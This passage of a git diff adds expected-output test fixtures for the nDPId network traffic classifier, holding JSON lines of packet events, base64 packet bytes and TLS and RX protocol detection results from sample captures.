Co\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXnoQPvVdws1o="} +00454{"flow_id":60,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11236,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":33649,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDNdJACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA006zst54Bu3jHKhofTjCCgBAB9W+SAAABAQgKUiG5+MLXY3k="} +00455{"flow_id":60,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11237,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":33677,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDNdJACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA006zst54Bu3jHKhofTjXugBAB8GorAAABAQgKUiG5+MLXY3k="} +00455{"flow_id":60,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11238,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":33689,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDNdJACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA006zst54Bu3jHKhofTjsWgBAB5mUNAAABAQgKUiG5+MLXY3k="} +02330{"flow_id":60,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11239,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":34463,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAADTTrOwqAcsBIEmLB5kd7IUo3\/YpAbu3nh9OOxZ4xyoagBgLMLKgAAABAQgKwtdje1IhubTpH6CGU7vvfP9pC+BIw7eTC8gKVMSsXRRnN2zKpS8xCDeqbm+MvJviV10kga+Xl5yErWysN0xm82GRESDkvjCfeqQpCbDhNF9kdxhAUd+MMKavAAQEMIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQADggENADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d\/+TvZxz0ZWizV3GgXne77ZtJ6XCAPVYYYwhv2vLM0D9\/AlQiVBDYsoHUwHU9S3\/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6wwdhFJ2+qN1j3hybX2C32qRe3H3I2TqYXP2WYktsqbl2i\/ojgC95\/5Y0V4evLOtXiEqITLdiOr18SPaAIBQi2XKVlOARFmR6jYGB0xUGlcmIbYsUfb18aQr4CUWWoriMYavx4A6lNf4DD+qta\/KFApMoZFv6yyO9ecw3ud72a9nmYvLEHZ6IVDd2gWMZEewo+YihfukEHU1jPEX44dMX4\/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0OBBYEFNLEsNKR1EwRcbNhyz2h\/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h\/t2oatTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wimPQoZ+YeAEW5p5JYXMP80kWNyOO7MHAGjHZQopDH2esRU1\/blMVgDoszOYtuURXO1v0XJJLXVggKtI3lpjbi2Tc7PTMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQHmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0\/ZM\/iZx4mERdEr\/VxqHD3VILs9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5CufReYNnyicsbkqWletNw+vHX\/bvZ8WAwMBTQwAAUkDABdBBPsFY9pNvX5TtOPGsdk0hQPimXVO1fDXg3y+4Qd02kZZ40mokItWMy7I15bFq21bT\/3COnOUMPou6Uj5xvknpKsGAQEAMrOj5sSvcFdF0U19ZTVROOOIDYtnm+9xE1WJQS24eWeidJew6MUniEdOO9fBLW478k5QK8WG16jIRnve5HQ9JKB6z59Qd18UKZIoo3qVOhufw1q5wtBEP0FP9R4875RMavMB1L2cA4C4jwqgk4yXT0gl3zoMSTMrH5ndrG0UJpWnLHKdsdsYDy3etcr1mBwJ1OQbvH90ER54whVNScImkpnkqX3vr5dM1ujT8HZrXy7fdK2qyHvnih6uoc0urDn+nQ=="} +01285{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":11239,"source":"reddit.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":12,"flow_first_seen":1605291696948,"flow_last_seen":1605291697034,"flow_tot_l4_data_len":6401,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":533,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::34d3:acec","src_port":47006,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"d9.flashtalking.com","server_names":"tag.device9.com,www.tag.device9.com,fp.zenaps.com,the.sciencebehindecommerce.com,d9.flashtalking.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=tag.device9.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"8B:5C:A4:62:70:92:3A:09:C3:72:49:B2:A2:22:32:16:22:87:9D:F3"}} +00556{"flow_id":60,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11240,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":34464,"pkt_caplen":158,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":158,"pkt_l4_len":104,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAGgGPQBk\/5sAAAAAAAAAADTTrOwqAcsBIEmLB5kd7IUo3\/YpAbu3nh9OQIJ4xyoagBgLMG3YAAABAQgKwtdje1IhubSBt0obLL+WIiPG6AQ56SzS1GkUMIPNBkq1N9IMlEKIOpEbi45nD5zJkYriLO4a7hmSKY4Uz5bfrMdnA+ZKZmoWAwMABA4AAAA="} +00455{"flow_id":60,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11241,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":34480,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDNdJACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA006zst54Bu3jHKhofTkCCgBAB3F+oAAABAQgKUiG5+cLXY3s="} +00455{"flow_id":60,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11242,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291697,"pkt_ts_usec":34499,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDNdJACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAA006zst54Bu3jHKhofTkDKgBAB3F9gAAABAQgKUiG5+cLXY3s="} diff --git a/test/results/rx.pcap.out b/test/results/rx.pcap.out new file mode 100644 index 000000000..bb41d43f1 --- /dev/null +++ b/test/results/rx.pcap.out @@ -0,0 +1,61 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"rx.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1460647264018,"flow_last_seen":0,"flow_tot_l4_data_len":300,"flow_min_l4_data_len":300,"flow_max_l4_data_len":300,"flow_avg_l4_data_len":300,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.219.168","dst_ip":"192.167.206.124","src_port":41559,"dst_port":7002,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00781{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647264,"pkt_ts_usec":18403,"pkt_caplen":334,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":334,"pkt_l4_len":300,"pkt":"PIqwbTfwAAjK968mCABFAAFA5\/AAAEARo32DctuowKfOfKJXG1oBLBrkVw+1YFw\/yYgAAAABAAAAAQAAAAEBBQAAAAAASQAAAfgAAAABAAAAZwAAAGkAAABvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00503{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"rx.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1460647264018,"flow_last_seen":0,"flow_tot_l4_data_len":300,"flow_min_l4_data_len":300,"flow_max_l4_data_len":300,"flow_avg_l4_data_len":300,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.219.168","dst_ip":"192.167.206.124","src_port":41559,"dst_port":7002,"l4_proto":"udp","ndpi": {"proto":"RX","breed":"Acceptable","category":"RPC"}} +00433{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647264,"pkt_ts_usec":26287,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AAjK968mPIqwbTfwCABFAABAOykAADoRV0XAp858g3LbqBtaolcALPkKVw+1YFw\/yYgAAAABAAAAAQAAAAEBBAAAAAAASQAAAAEAACcR"} +00476{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647264,"pkt_ts_usec":26325,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"PIqwbTfwAAjK968mCABFAABd5\/IAAEARpF6DctuowKfOfKJXG1oASRKnVw+1YFw\/yYgAAAABAAAAAAAAAAICIQAAAAAASQAAAAAAAAACAAAAAQAAAAAIAAAAAAAAFjwAAAWkAAAAIAAAAAQ="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":4,"source":"rx.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1460647283326,"flow_last_seen":0,"flow_tot_l4_data_len":300,"flow_min_l4_data_len":300,"flow_max_l4_data_len":300,"flow_avg_l4_data_len":300,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.219.168","dst_ip":"192.167.206.124","src_port":38331,"dst_port":7002,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00780{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647283,"pkt_ts_usec":326954,"pkt_caplen":334,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":334,"pkt_l4_len":300,"pkt":"PIqwbTfwAAjK968mCABFAAFA6DUAAEARoziDctuowKfOfJW7G1oBLLHjVw+1c1wtPyQAAAABAAAAAQAAAAEBBQAAAAAASQAAAfgAAAABAAAAZwAAAGkAAABvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00503{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"rx.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1460647283326,"flow_last_seen":0,"flow_tot_l4_data_len":300,"flow_min_l4_data_len":300,"flow_max_l4_data_len":300,"flow_avg_l4_data_len":300,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.219.168","dst_ip":"192.167.206.124","src_port":38331,"dst_port":7002,"l4_proto":"udp","ndpi": {"proto":"RX","breed":"Acceptable","category":"RPC"}} +00433{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647283,"pkt_ts_usec":340393,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AAjK968mPIqwbTfwCABFAABATVwAADoRRRLAp858g3LbqBtalbsALJAKVw+1c1wtPyQAAAABAAAAAQAAAAEBBAAAAAAASQAAAAEAACcR"} +00475{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647283,"pkt_ts_usec":340531,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"PIqwbTfwAAjK968mCABFAABd6DcAAEARpBmDctuowKfOfJW7G1oASammVw+1c1wtPyQAAAABAAAAAAAAAAICIQAAAAAASQAAAAAAAAACAAAAAQAAAAAIAAAAAAAAFjwAAAWkAAAAIAAAAAQ="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7,"source":"rx.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1460647299605,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.219.168","dst_ip":"192.167.206.124","src_port":7001,"dst_port":7003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":605656,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"PIqwbTfwAAjK968mCABFAABM9uIAAEARlX+DctuowKfOfBtZG1sAOL9z1w+zMFwiT6wAAAABAAAAAQAAAAEBBQAAAAAANAAAAg8AAAAJcm9vdC5jZWxsAAAA"} +00498{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":7,"source":"rx.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1460647299605,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.219.168","dst_ip":"192.167.206.124","src_port":7001,"dst_port":7003,"l4_proto":"udp","ndpi": {"proto":"RX","breed":"Acceptable","category":"RPC"}} +01853{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":669561,"pkt_caplen":1118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1118,"pkt_l4_len":1084,"pkt":"AAjK968mPIqwbTfwCABFAARQURUAADoRPUnAp858g3LbqBtbG1kEPOsl1w+zMFwiT6wAAAABAAAAAQAAAAEBBAAAAAAANAAAAHIAAABvAAAAbwAAAHQAAAAuAAAAYwAAAGUAAABsAAAAbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwBuMngAAEMHAAAfwf\/\/\/6MAAAAlAAAAAQAAAAEAAAAAAAAAf\/\/\/\/6oAAAB3AIQN5gAA+50AABAS\/\/\/\/mP\/\/\/4QAAAABAAAAAQAAAAAAAAB\/\/\/\/\/qgAAAHcAbjJ4AABDBwAAH8H\/\/\/+jAAAAJQAAAAEAAAABAAAAAAAAAH\/\/\/\/+qAAAAdwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwAAAA8AAAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAAAEgAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAyAAAAROcGeMAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00475{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":669639,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"PIqwbTfwAAjK968mCABFAABd9usAAEARlWWDctuowKfOfBtZG1sASZXi1w+zMFwiT6wAAAABAAAAAAAAAAICIQAAAAAANAAAAAAAAAACAAAAAQAAAAAIAAAAAAAAFjwAAAWkAAAAIAAAAAQ="} +00523{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":669661,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"PIqwbTfwAAjK968mCABFAAB49uwAAEARlUmDctuowKfOfBtZG1sAZAqx1w+zMFwiT6wAAAACAAAAAQAAAAMBBQAAAAAANAAAAhUAAAAEAAAAAAAAAAAAAAAAAG4yeAAAQwcAAB\/B\/\/\/\/owAAACUAAAABAAAAAQAAAAAAAAB\/\/\/\/\/qgAAAHc="} +00515{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":704559,"pkt_caplen":130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":130,"pkt_l4_len":96,"pkt":"AAjK968mPIqwbTfwCABFAAB0USMAADoRQRfAp858g3LbqBtbG1kAYH0p1w+zMFwiT6wAAAACAAAAAQAAAAIBBAAAAAAANABuMngAAEMHAAAfwf\/\/\/6MAAAAlAAAAAQAAAAEAAAAAAAAAf\/\/\/\/6oAAAB3AAAADwAAAAEAAAABwKfO8Q=="} +00476{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":704698,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"PIqwbTfwAAjK968mCABFAABd9vEAAEARlV+DctuowKfOfBtZG1sASZXf1w+zMFwiT6wAAAACAAAAAAAAAAQCIQAAAAAANAAAAAAAAAACAAAAAQAAAAAIAAAAAAAAFjwAAAWkAAAAIAAAAAQ="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"rx.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1460647299704,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.219.168","dst_ip":"192.167.206.241","src_port":7001,"dst_port":7000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":704750,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PIqwbTfwAAjK968mCABFAAA8LUMAAEARXrqDctuowKfO8RtZG1gAKKMX1w+zMFwiT7AAAAABAAAAAQAAAAEBBQAAAAAAAQABAAQ="} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"rx.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1460647299704,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"131.114.219.168","dst_ip":"192.167.206.241","src_port":7001,"dst_port":7000,"l4_proto":"udp","ndpi": {"proto":"RX","breed":"Acceptable","category":"RPC"}} +00476{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":782295,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"AAjK968mPIqwbTfwCABFAABeF80AADoReg7Ap87xg3LbqBtYG1kASo9g1w+zMFwiT7AAAAABAAAAAAAAAAECIgAAAAAAAQAAAAAAAAABAAAAAQAAAAAGAQEAAAAAAAWkAAAFpAAAABAAAAAB"} +00476{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":782351,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"PIqwbTfwAAjK968mCABFAABdLVQAAEARXoiDctuowKfO8RtZG1gASaag1w+zMFwiT7AAAAABAAAAAAAAAAICIQAAAAAAAQAAAAAAAAABAAAAAAAAAAEHAAAAAAAAFjwAAAWkAAAAEAAAAAQ="} +00432{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"rx.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460647299,"pkt_ts_usec":839343,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AAjK968mPIqwbTfwCABFAAA8F9AAADoRei3Ap87xg3LbqBtYG1kAKJ5Np\/AZ\/luoHUgAAAABAAAAAQAAAAEBBQAAAAAAAQABAAI="} 